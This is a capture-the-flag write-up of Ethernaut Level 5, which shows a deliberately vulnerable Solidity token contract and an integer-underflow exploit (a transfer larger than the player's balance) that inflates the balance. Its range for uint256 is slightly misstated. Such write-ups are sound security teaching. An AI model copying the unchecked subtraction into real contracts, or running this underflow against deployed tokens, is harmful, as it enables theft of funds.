Ethernaut Level 5: Token

Solidity Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

Requirements

  1. Get an additional amount of tokens.

Concepts

Hack

The exploit is centered around the transfer() function.

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

The line below seems like a good require statement. It basically checks if the msg.sender has enough balance to transfer value number of tokens.

require(balances[msg.sender] - _value >= 0);

However, we should consider that we are working with unsigned integers or uint. And by definition, uint can only store 0 or positive values. Specifically, uint or uint256 can only store numbers from 0-2^256. This means that the require statement will always evaluate true.

In the following line,

balances[msg.sender] -= _value;

the balance of an address is updated. When balances[msg.sender] is less than value parameter, an underflow occurs and balances[msg.sender] is assigned a larger number. This is how we exploit the smart contract.

Solution

Considering that a player begins with 20 tokens, calling transfer() with value higher than 20 tokens we are able to get more tokens.

await contract.transfer(randomAddress, 1000)

The randomAddress can be any arbitrary Ethereum address that is valid. We can check if we have increase our number of tokens.

await contract.balanceOf(player)

Done!